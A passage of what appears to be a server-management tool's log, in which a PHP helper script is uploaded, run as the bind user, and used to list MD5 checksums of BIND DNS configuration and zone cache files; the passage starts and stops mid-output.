					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:30:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp340092; rm /tmp/pkp340092'

2026-04-23 14:30:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:36:07: Establishing a connection
2026-04-23 14:36:07: 

PUT: /tmp/pkp329093

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:36:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp329093; rm /tmp/pkp329093'

2026-04-23 14:36:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
